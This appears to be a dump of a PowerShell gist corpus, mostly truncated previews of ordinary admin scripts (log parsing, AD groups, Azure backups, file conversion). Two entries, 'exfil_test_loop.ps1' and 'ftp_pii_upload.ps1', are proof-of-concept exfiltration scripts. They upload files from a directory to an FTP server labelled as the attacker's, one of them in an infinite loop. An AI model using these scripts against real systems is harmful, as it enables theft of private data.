<# Loop through IRC log File #> $quotes = @() $dest = 'out.txt' Get-Content in.txt | % { $line = $_ -replace '.*?[0-9]:','' $line = $line -replace '"','' $quotes += $line } $quotes | Set-Content $dest
PowerShellCorpus/GithubGist/skalinets_5775878_raw_2e592e4cf1d82c7a81bf0544872aa56fdf46c67d_default.ps1
skalinets_5775878_raw_2e592e4cf1d82c7a81bf0544872aa56fdf46c67d_default.ps1
Framework "4.0" # Framework "4.0x64" properties { $solutionDir = "..\src" $buildConfiguration = 'RELEASE' $packages = join-path $solutionDir "packages" } task default -depends run-unit-tests function Get-Solutions (){ ls (join-path $solutionDir "*.sln") | %{ $_.FullName} } function Run-MsBuil...
PowerShellCorpus/GithubGist/westerdaled_9e62abacec01365e9323_raw_8b3024494352a577e06ba1fc3ab2660189b353f0_Allow-SPToUseLocalWebServices.ps1
westerdaled_9e62abacec01365e9323_raw_8b3024494352a577e06ba1fc3ab2660189b353f0_Allow-SPToUseLocalWebServices.ps1
# # SharePoint must be configured to allow Remote Endpoint intranet calls to local web services by using the following Windows PowerShell commands. # Add-PSSnapin Microsoft.sharepoint.powershell $f = Get-SPFarm $f.Properties.DisableIntranetCalls = $false $f.Properties.DisableIntranetCallsFromApps = $fal...
PowerShellCorpus/GithubGist/ghotz_98003e2e650f878abcc4_raw_f4517c0c5b9fb4cd75afe253d88b8d94ddd18083_Save-MHTML.ps1
ghotz_98003e2e650f878abcc4_raw_f4517c0c5b9fb4cd75afe253d88b8d94ddd18083_Save-MHTML.ps1
# # Save to MHTML file # Adapted from http://stackoverflow.com/questions/995339/saving-webpage-as-mhtm-file # # COM SaveOptionsEnum # Const adSaveCreateNotExist = 1 # Const adSaveCreateOverWrite = 2 # # COM StreamTypeEnum # Const adTypeBinary = 1 # Const adTypeText = 2 $SourceURL = "http://www.ghotz.com"; ...
PowerShellCorpus/GithubGist/ranniery_fc2f86d999d1fe1b2cfc_raw_119cc652a540defa3db2a4a94264165525212444_Get-Uptime.ps1
ranniery_fc2f86d999d1fe1b2cfc_raw_119cc652a540defa3db2a4a94264165525212444_Get-Uptime.ps1
########################### # Ranniery Holanda # # email@ranniery.com.br # # @_ranniery # # 06/08/2014 # ########################### # Get-Uptime.ps1 # ########################### function Get-Uptime { param( [String[]] $ComputerName ) ...
PowerShellCorpus/GithubGist/skarllot_2023985848b897b8aaf3_raw_87d8668f505dfac125e459826425ee384ea7cc89_intersection-group.ps1
skarllot_2023985848b897b8aaf3_raw_87d8668f505dfac125e459826425ee384ea7cc89_intersection-group.ps1
Import-Module ActiveDirectory Function Refresh_Group ($groupname, $newmembers) { $oldmembers = Get-ADGroupMember -Identity $groupname $rmmembers = $null $addmembers = $null if ($oldmembers -eq $null -and $newmembers -eq $null) { return } if ($oldmembers -ne $null -and $new...
PowerShellCorpus/GithubGist/pohatu_3adabfe7239f5a04fc70_raw_caabed739c3fc80430e4db102ed15c6f017d7ee3_AddDiskCleanupScheduledTask.ps1
pohatu_3adabfe7239f5a04fc70_raw_caabed739c3fc80430e4db102ed15c6f017d7ee3_AddDiskCleanupScheduledTask.ps1
# Automatically Run Disk Clean-Up Utility With Preferred Settings # Windows 8.1/2012 R2; Powershell 4.0 # First, launch CleanMgr.EXE with /sageset: n - where n is some number (defaults to 5000) # You will need to set the settings as you desire in the UI that appears # When you save, it will save the settings in a...
PowerShellCorpus/GithubGist/so0k_981318eb3f693739484a_raw_79de93b47c4e9b9c7d47e10490444d5c83f73e3c_Add-Hosts.ps1
so0k_981318eb3f693739484a_raw_79de93b47c4e9b9c7d47e10490444d5c83f73e3c_Add-Hosts.ps1
Param( [Parameter(Mandatory=$true)] [string]$hostName, [Parameter(Mandatory=$true)] [string]$hostIp ) function IsAdministrator { $Identity = [System.Security.Principal.WindowsIdentity]::GetCurrent() $Principal = New-Object System.Security.Principal.WindowsPrincipal($Identity) $Pr...
PowerShellCorpus/GithubGist/zachbonham_4568276_raw_c6eec07d0645557d5a3eb32be4d9f5b287337774_box.ps1
zachbonham_4568276_raw_c6eec07d0645557d5a3eb32be4d9f5b287337774_box.ps1
set-psdebug -strict # bleh # $global:boxes = @{} <# Here we are defining an internal PowerShell DSL for creating 'boxes'. #> function box() { param([string]$name, [scriptblock]$block) BEGIN { $script:basebox = $null $script:cpu = 1 $script:memory = "1GB" $script:w...
PowerShellCorpus/GithubGist/shanselman_32a469642ac12d078cb7_raw_a4a2bf38b00b8e6c6c584d2407c3dbc7ae873b66_DownloadAzureFriday.ps1
shanselman_32a469642ac12d078cb7_raw_a4a2bf38b00b8e6c6c584d2407c3dbc7ae873b66_DownloadAzureFriday.ps1
mkdir "~\Desktop\AzureFriday" cd "~\Desktop\AzureFriday" [Environment]::CurrentDirectory=(Get-Location -PSProvider FileSystem).ProviderPath $a = ([xml](new-object net.webclient).downloadstring("http://channel9.msdn.com/Shows/Azure-Friday/feed/mp4high")) $a.rss.channel.item | foreach{ $url = New-Object System...
PowerShellCorpus/GithubGist/mjul_5212271_raw_3580a5561937f96278e1f96a1075ce86173feb42_convert-visio-drawings-to-pdf.ps1
mjul_5212271_raw_3580a5561937f96278e1f96a1075ce86173feb42_convert-visio-drawings-to-pdf.ps1
# Convert Visio (2013) documents to PDF $drawings = Get-ChildItem -Filter "*.vsdx" Write-Host "Converting Visio documents to PDF..." -ForegroundColor Cyan try { $visio = New-Object -ComObject Visio.Application $visio.Visible = $true foreach ($drawing in $drawings) { $pdfname = [I...
PowerShellCorpus/GithubGist/sheeeng_6931416_raw_bc4cc0f88717d3cb3adb47bcbd8b44f8395e95f4_UpdateJom.ps1
sheeeng_6931416_raw_bc4cc0f88717d3cb3adb47bcbd8b44f8395e95f4_UpdateJom.ps1
######################################################################## # File : UpdateJom.ps1 # Version : 1.0.1 # Purpose : Downloads and updates jom tool. # Synopsis: http://qt-project.org/wiki/jom # Usage : .\UpdateJom.ps1 # Author: Leonard Lee <sheeeng@gmail.com> ############################################...
PowerShellCorpus/GithubGist/vjt_5770034_raw_2c1204942623949f4bf8ccf93c61eefd785922e5_wsus-cleanup.ps1
vjt_5770034_raw_2c1204942623949f4bf8ccf93c61eefd785922e5_wsus-cleanup.ps1
# Performs a cleanup of WSUS and writes to a custom "WSUS Cleanup" log # You must create the Event Log using # # New-EventLog -LogName "WSUS Cleanup" -Source "Script" # # the first time you run this script. # PowerShell 2.0 required. # # - vjt@openssl.it (feeling dirty) # Function log($message) { $messag...
PowerShellCorpus/GithubGist/jakeballard_9019690_raw_0279a216ef350d97c577c4105754d896c2fa8df5_Get-TSMClientEvents.ps1
jakeballard_9019690_raw_0279a216ef350d97c577c4105754d896c2fa8df5_Get-TSMClientEvents.ps1
function Get-TSMClientEvents { Param( [Parameter(Mandatory=$true, ValueFromPipeline=$True, ValueFromPipelineByPropertyName=$true)] $ComputerName ) PROCESS { if ($ComputerName -is [Array]) { $ComputerName | ForEach-Object { Get-TSMSchedule -ComputerName $_ } } else { ...
PowerShellCorpus/GithubGist/AnthonyMastrean_6245289_raw_9e5b132fabe7bbfeee63c86eff43eb81cb66fee7_Connect-VM.ps1
AnthonyMastrean_6245289_raw_9e5b132fabe7bbfeee63c86eff43eb81cb66fee7_Connect-VM.ps1
#requires -Version 3.0 function Connect-VM { [CmdletBinding(DefaultParameterSetName='name')] param( [Parameter(ParameterSetName='name')] [Alias('cn')] [System.String[]]$ComputerName=$env:COMPUTERNAME, [Parameter(Position=0, Mandatory,ValueFromPipelineByPropertyName, ValueFromPipeline,P...
PowerShellCorpus/GithubGist/rossnz_5609904_raw_d668df698ccb7600ccebce9224263194d5748859_Get-UserAgent.ps1
rossnz_5609904_raw_d668df698ccb7600ccebce9224263194d5748859_Get-UserAgent.ps1
function Get-UserAgent { # Uses PowerShell's prebuilt UA strings. See # http://goo.gl/9IGloI param ( [Parameter( Mandatory = $false, Position = 0, [ValidateSet('Firefox','Chrome','InternetExplorer','Opera','Safari')] [string]$browsertype ) ...
PowerShellCorpus/GithubGist/ciphertxt_9656900_raw_30e12b1b241ad084e9d993fa7635e4501ee19bb7_DownloadAllSP14Materials.ps1
ciphertxt_9656900_raw_30e12b1b241ad084e9d993fa7635e4501ee19bb7_DownloadAllSP14Materials.ps1
# Originally published at https://gist.github.com/nzthiago/5736907 # I Customized it for SPC14 with slides # If you like it, leave me a comment # If you don't like it, complain to Github. :) [Environment]::CurrentDirectory=(Get-Location -PSProvider FileSystem).ProviderPath $rss = (new-object net.webclient) #...
PowerShellCorpus/GithubGist/nabehiro_6605195_raw_18f44622743a969377be8a2e5b47070d89312e15_BackupCopyAzureVM.ps1
nabehiro_6605195_raw_18f44622743a969377be8a2e5b47070d89312e15_BackupCopyAzureVM.ps1
# Backup Copy Azure Virtual Machine # # [Backup Flow] # 1. Stop Virtual Machine. # 2. Copy Virtual Machine OS and Data Disks. # 3. Start Virtual Machine. # # [PreRequirement] # - Install Windows Azure Powershell. # - Import Azure Publish Setting File. # See here, # http://blog.greatrexpectations.com/2013/04/...
PowerShellCorpus/GithubGist/gravejester_5041943_raw_4e7e0e8b60289a4dd57c3f52bcc2783168d7e9ce_wget.ps1
gravejester_5041943_raw_4e7e0e8b60289a4dd57c3f52bcc2783168d7e9ce_wget.ps1
# PowerShell wget # Version 1.0 [CmdletBinding()] param( [Parameter(ValueFromPipeline = $true, Mandatory = $true)] $url, $dest = (Get-Location).Path ) if(!$url){break} $filesplit = $url.split("\/") $file = $filesplit[($filesplit.length-1)] $fulldest = $dest + "\" + $file (New-Object System.Net.W...
PowerShellCorpus/GithubGist/xenolinguist_3346481_raw_deb3a5ad3a7bc0dd6c9c729cddc444aa72d5a86b_autotest.ps1
xenolinguist_3346481_raw_deb3a5ad3a7bc0dd6c9c729cddc444aa72d5a86b_autotest.ps1
function Reference-Assembly($Name) { [void] [System.Reflection.Assembly]::LoadWithPartialName($Name) } Reference-Assembly System.Windows.Forms Reference-Assembly System.Drawing function Decode-IconGraphic { $encodedIcon = " AAABAAEAEBAAAAEAIABoBAAAFgAAACgAAAAQAAAAIAAAAAEAIAAAAAAAAAgAAAAA ...
PowerShellCorpus/GithubGist/guidancesrobb_cab058c5b55947546787_raw_04ae1f3b79a8f5f44fbd11d1016151b308c17190_magento-fix-db-trigger-definer-windows.ps1
guidancesrobb_cab058c5b55947546787_raw_04ae1f3b79a8f5f44fbd11d1016151b308c17190_magento-fix-db-trigger-definer-windows.ps1
Get-Content dump.sql | Foreach-Object { $_ -replace 'DEFINER(.*)`magento-dbuser`@`localhost`','DEFINER$1`different-user`@`different-host`' } | Set-Content new.sql
PowerShellCorpus/GithubGist/urasandesu_8252521_raw_9cb34dba500879076d13232a94c2c98e3e2d4bb6_SmallTemplateEngineSample.ps1
urasandesu_8252521_raw_9cb34dba500879076d13232a94c2c98e3e2d4bb6_SmallTemplateEngineSample.ps1
# +実行には、事前に PSAnonym(https://github.com/urasandesu/PSAnonym) のインストールが必要。 # +また、PSAnonym は PowerShell v2 でしか動作しないため、このコード片を実行するには、 # PS C:\> powershell -version 2 # する等して、プロンプトの実行環境を合わせてやる必要がある。 Import-Module Urasandesu.PSAnonym # --------------------------------------------------------------------------------...
PowerShellCorpus/GithubGist/fr0gger03_807a2fb29fcc05de4bd9_raw_ad85eb2bf0253ab05b8f520f8c23aef8ca2e50aa_VM-VMFS-LUN-mapping.ps1
fr0gger03_807a2fb29fcc05de4bd9_raw_ad85eb2bf0253ab05b8f520f8c23aef8ca2e50aa_VM-VMFS-LUN-mapping.ps1
# you must connect and authenticate to a vCenter server # use Connect-VIServer to do so # establish Export file name $csvname = Read-Host 'Please provide the file path and name for your CSV export' # start by gathering the list of virtual machines for this vCenter, enter a ForEach loop Get-View -ViewType virtu...
PowerShellCorpus/GithubGist/glombard_7416112_raw_fb317426b2092a41770cf86b50463fb0c2f73706_get-curl.ps1
glombard_7416112_raw_fb317426b2092a41770cf86b50463fb0c2f73706_get-curl.ps1
$c=New-Object Net.WebClient $c.DownloadFile('http://heanet.dl.sourceforge.net/project/sevenzip/7-Zip/9.20/7za920.zip',"$env:TEMP\7za920.zip") $c.DownloadFile('http://www.paehl.com/open_source/?download=curl_733_0_ssl.zip',"$env:TEMP\curl.zip") $shell=New-Object -Com Shell.Application $win=$shell.NameSpace($env:wind...
PowerShellCorpus/GithubGist/Mellbourn_8711b2742ea2763d5fe8_raw_6ecb944c2a98c94cffcd89bdaaf17f42b639eeff_boxstarterWebWorkComputerWithVSPremium.ps1
Mellbourn_8711b2742ea2763d5fe8_raw_6ecb944c2a98c94cffcd89bdaaf17f42b639eeff_boxstarterWebWorkComputerWithVSPremium.ps1
Set-WindowsExplorerOptions -EnableShowHiddenFilesFoldersDrives -EnableShowFileExtensions -EnableShowFullPathInTitleBar Update-ExecutionPolicy RemoteSigned [Environment]::SetEnvironmentVariable("HTTP_PROXY", "http://seproxy.hm.com:8080/", "Machine") [Environment]::SetEnvironmentVariable("HTTP_PROXY", "http://seprox...
PowerShellCorpus/GithubGist/shauvik_6d701adedbfd85be74b0_raw_232d7ec4d89581eb638b94ab89771ec0ac44c1e1_run-processes.ps1
shauvik_6d701adedbfd85be74b0_raw_232d7ec4d89581eb638b94ab89771ec0ac44c1e1_run-processes.ps1
$array = "folder1", "folder2" cd c:\experiments Foreach ($element in $array) {echo "Processing $element"; ` $p = $(Start-Process java -ArgumentList "-jar script.jar $element" -RedirectStandardOutput $element\out.log -RedirectStandardError $element\err.log -PassThru);` if ( ! $p.WaitForExit(1800000) ) { echo "$e...
PowerShellCorpus/GithubGist/higikis9463_a82da1de46fceda80116_raw_ec94425c96dd3bd1be72fd7ba1fc015692eebab4_Rename.ps1
higikis9463_a82da1de46fceda80116_raw_ec94425c96dd3bd1be72fd7ba1fc015692eebab4_Rename.ps1
# -------------------------------------------------------------------------------- # 指定フォルダからファイル名を取得し、設定文字に置き換えた上でリネームします。 # Move-itemの-LiteralPathを使用している為殆どの文字を置換可能です。多分 # $Saveで任意のフォルダと取得したいファイルを設定してください。(ワイルドカードが使用可) # 置換文字を追加したい場合は$Before(置換前)と$After(置換後)に書き加えてください。 # -----------------------------------------...
PowerShellCorpus/GithubGist/joshtransient_6135527_raw_13213ef5a07202a2258cfa4fa0acf68a9e4dec78_ConvertFrom-TrelloJSON.ps1
joshtransient_6135527_raw_13213ef5a07202a2258cfa4fa0acf68a9e4dec78_ConvertFrom-TrelloJSON.ps1
<# .SYNOPSIS ConvertFrom-TrelloJSON .NOTES Author: Josh Leach, Critigen Date: 1 Aug 2013 TODO: Download capability, maybe eventually, with the option to specify a developer API code. Moar data? Direct Excel output? Eh, probably not. .DESCRIPTION Converts a JSON file downloaded from Tre...
PowerShellCorpus/GithubGist/piffd0s_42a416ce869827bbbfd9_raw_6cc98aa893debdcb9b643c3750b1a8cf9e28ca20_exfil_test_loop.ps1
piffd0s_42a416ce869827bbbfd9_raw_6cc98aa893debdcb9b643c3750b1a8cf9e28ca20_exfil_test_loop.ps1
$Dir="C:\poc" #ftp server $ftp = "ftp://10.1.10.78/" $user = "attacker" $pass = "attacker" $ctr = 1 $webclient = New-Object System.Net.WebClient $webclient.Credentials = New-Object System.Net.NetworkCredential($user,$pass) #infinite loop, upload text files in dir, to attacker server whi...
PowerShellCorpus/GithubGist/guitarrapc_7dc6c33854028345ee6d_raw_38613bab3350a8b0e63a55dc47b6e70031b7d54e_WebPlatformInstaller.ps1
guitarrapc_7dc6c33854028345ee6d_raw_38613bab3350a8b0e63a55dc47b6e70031b7d54e_WebPlatformInstaller.ps1
#region Initializer function New-WebPlatformInstaller { [OutputType([Void])] [CmdletBinding()] param() try { [reflection.assembly]::LoadWithPartialName("Microsoft.Web.PlatformInstaller") > $null } catch { } $script:WebPI = @{} } New-WebPlatform...
PowerShellCorpus/GithubGist/b4tman_75cd08f88a794ebe782c_raw_92ee20534bd2aa6725cb257b7725c265723ac1d6_%D0%97%D0%B0%D0%BA%D1%80%D1%8B%D1%82%D1%8C%D0%91%D1%80%D0%B0%D1%83%D0%B7%D0%B5%D1%80%D1%8B.ps1
b4tman_75cd08f88a794ebe782c_raw_92ee20534bd2aa6725cb257b7725c265723ac1d6_%D0%97%D0%B0%D0%BA%D1%80%D1%8B%D1%82%D1%8C%D0%91%D1%80%D0%B0%D1%83%D0%B7%D0%B5%D1%80%D1%8B.ps1
$browsers_exe = @() $browsers_exe += "opera.exe" $browsers_exe += "opera_crashreporter.exe" $browsers_exe += "opera_autoupdate.exe" $browsers_exe += "LiberKeyPortabilizer.exe" $browsers_exe += "browser.exe" $browsers_exe += "chrome.exe" $browsers_exe += "firefox.exe" function global:CountDown {param([int]$Mi...
PowerShellCorpus/GithubGist/aroben_5550040_raw_7412d5493cb92d71f26b2586b7a5e872707c66cd_netusage.ps1
aroben_5550040_raw_7412d5493cb92d71f26b2586b7a5e872707c66cd_netusage.ps1
$LastLine = "" while ($true) { $Bps = Get-WMIObject -Class Win32_PerfFormattedData_Tcpip_NetworkInterface ` | Measure-Object BytesTotalPersec -Sum | %{ $_.Sum } $ThisLine = "{0:F2} KiB/sec" -f ($Bps / 1024) [Console]::Write("`r{0}" -f (" " * $LastLine.Length)) [Console]::Write("`r$ThisLine") ...
PowerShellCorpus/GithubGist/silverskymedia_2001719_raw_4a71c5180dfd5e6edb9c65abd409235a9d049ed8_gistfile1.ps1
silverskymedia_2001719_raw_4a71c5180dfd5e6edb9c65abd409235a9d049ed8_gistfile1.ps1
# Clear console screen clear # Setup trap to catch exceptions trap [Exception] { Write-Error $("Trapped: " + $_.Exception.Message); } # Read computers from the text file $computers = Get-Content 'C:\servers.txt'; $start = $true; # Setup the service array with the service names we want to check are runni...
PowerShellCorpus/GithubGist/andrebocchini_4376242_raw_f839d995ef93654390438c621e60ba2d3991fd87_Get-DellShipDate.ps1
andrebocchini_4376242_raw_f839d995ef93654390438c621e60ba2d3991fd87_Get-DellShipDate.ps1
Function Get-DellShipDate($serviceTag) { $queryUrl = 'http://support.dell.com/support/topics/global.aspx/support/my_systems_info/details?c=us&l=en&s=gen&logout=&ServiceTag=' + $serviceTag $wc = New-Object System.Net.WebClient $wc.Encoding = [System.Text.Encoding]::UTF8 $results = $wc.DownloadString($q...
PowerShellCorpus/GithubGist/Gordon-Beeming_b74b800d65b99a3b3eff_raw_cdf397e65fb0a06b04f1600976e35c5dda3cf425_organise-music.ps1
Gordon-Beeming_b74b800d65b99a3b3eff_raw_cdf397e65fb0a06b04f1600976e35c5dda3cf425_organise-music.ps1
Param([String] $Folder) $INVALIDCHARS = [System.IO.Path]::GetInvalidPathChars() + "/", "\", "*", "?", ":" $MUSICATTRIBS = "*.m4a", "*.m4b", "*.mp3", "*.mp4", "*.wma", "*.flc" $PLAYLISTATTRIBS = "*.m3u", "*.zpl" $ALLATTRIBS = $MUSICATTRIBS + $PLAYLISTATTRIBS $PLAYLISTSFOLDER = "Playlists" $objShell = New-Object -C...
PowerShellCorpus/GithubGist/r-tanner-f_5366959_raw_743dd3a8890354764436cdf035796bd0ae8d4cd7_stupid_invoke-command_test.ps1
r-tanner-f_5366959_raw_743dd3a8890354764436cdf035796bd0ae8d4cd7_stupid_invoke-command_test.ps1
$remoteservices = invoke-command -computer eaglexa1 -scriptblock { $a = Get-Service $b = Get-Process return $a } $remoteservices | Format-Table -Property Name,Status
PowerShellCorpus/GithubGist/rprouse_b47abc4ebb2db572effe_raw_32b285f6c51fb02489f935dce91a84824b4e8c36_ChocolateyInstallLite.ps1
rprouse_b47abc4ebb2db572effe_raw_32b285f6c51fb02489f935dce91a84824b4e8c36_ChocolateyInstallLite.ps1
#==================================================== # Setting up a new machine using BoxStarter # 1.Install Windows 8.1 on a new machine. # 2.Login. # 3.Open a command prompt and enter the following: # START http://boxstarter.org/package/nr/url?https://gist.githubusercontent.com/rprouse/b47abc4ebb2db572effe/raw/...
PowerShellCorpus/GithubGist/zhujo01_3720f88b93d298238856_raw_c74fe892c3d33b47f5eb972966161304252c183a_vmware-amazon.ps1
zhujo01_3720f88b93d298238856_raw_c74fe892c3d33b47f5eb972966161304252c183a_vmware-amazon.ps1
######################################################################## # VMware Windows Bootstrapping Script # Supported OS: # - Windows 2008 Server R2 SP1 (TESTED) # - Windows 2008 Server (TO BE TESTED) # - Windows 2012 Server (TO BE TESTED) # Image Transformation Target Cloud # - Amazon EC2 ...
PowerShellCorpus/GithubGist/nwolverson_8003100_raw_610190d8e9a3423d51cd409e7c26abc43246f794_PowerShell.ps1
nwolverson_8003100_raw_610190d8e9a3423d51cd409e7c26abc43246f794_PowerShell.ps1
function Get-VisualChildren($item) { for ($i = 0; $i -lt [System.Windows.Media.VisualTreeHelper]::GetChildrenCount($item); $i++) { $child = [System.Windows.Media.VisualTreeHelper]::GetChild($item, $i) Get-VisualChildren($child) } $item } function Get-TreeItems { Get-VisualChildren $snoopui | ? { $_.Ge...
PowerShellCorpus/GithubGist/RamblingCookieMonster_4074033ea5eec6c411d0_raw_93bcf2daafc5ccf8bb8db55840685663ee860b3d_Examples.ps1
RamblingCookieMonster_4074033ea5eec6c411d0_raw_93bcf2daafc5ccf8bb8db55840685663ee860b3d_Examples.ps1
# A few handy tricks I use on a daily basis, from various sources # Running with UAC and already elevated? No prompts if you call things from here : ) New-Alias -name hyperv -Value "$env:windir\system32\virtmgmt.msc" New-Alias -name vsphere -value "C:\Program Files (x86)\VMware\Infrastructure\Virtual I...
PowerShellCorpus/GithubGist/piffd0s_5d880edff950ff06f14d_raw_984e5d73159711178c205a155e8cdf4881a18ac9_ftp_pii_upload.ps1
piffd0s_5d880edff950ff06f14d_raw_984e5d73159711178c205a155e8cdf4881a18ac9_ftp_pii_upload.ps1
#we specify the directory where all files that we want to upload $Dir="C:\poc" #ftp server $ftp = "ftp://10.1.10.78/" $user = "attacker" $pass = "attacker" $webclient = New-Object System.Net.WebClient $webclient.Credentials = New-Object System.Net.NetworkCredential($user,$pass) #list up...
PowerShellCorpus/GithubGist/NotMyself_149d0452ccc2506da204_raw_e938aedca9bcd4bbc6ccb7ccdcba44123bd0301c_gistfile1.ps1
NotMyself_149d0452ccc2506da204_raw_e938aedca9bcd4bbc6ccb7ccdcba44123bd0301c_gistfile1.ps1
PS C:\Development> Get-ChildItem . *.csproj -R | Select-String -Pattern Microsoft.Bcl.Build
PowerShellCorpus/GithubGist/miwaniza_73476c4e14cc43ded087_raw_1f2bfe93466801f697571de9f2b0310f5bfefbfa_Start-VaultSelectedServices.ps1
miwaniza_73476c4e14cc43ded087_raw_1f2bfe93466801f697571de9f2b0310f5bfefbfa_Start-VaultSelectedServices.ps1
# Get some services on srv and srv1 computers Get-Service -ComputerName 'srv_pko', 'srv_pko1' -Name 'IISADMIN', 'MSSQL$AUTODESKVAULT', 'Autodesk DataManagement Job Dispatch' |` # Select properties Select-Object -Property 'Status','Name','DisplayName','MachineName' |` # Puch to GridView with possibility to select se...
PowerShellCorpus/GithubGist/mortenya_a5b3404c993fbc16bf32_raw_a09fade0ed1a5320d0365d349f8ace9dcbe50c81_Get-SharedFolderACL.ps1
mortenya_a5b3404c993fbc16bf32_raw_a09fade0ed1a5320d0365d349f8ace9dcbe50c81_Get-SharedFolderACL.ps1
Function Get-SharedFolderACL { <# .Synopsis Recursively steps through folders and collects the Access Control List .DESCRIPTION Run the cmdlet against one or more Mapped Drives or Shares and it will create a .txt file with the ACLs of every folder in the structure If you are getting the ACL from a ...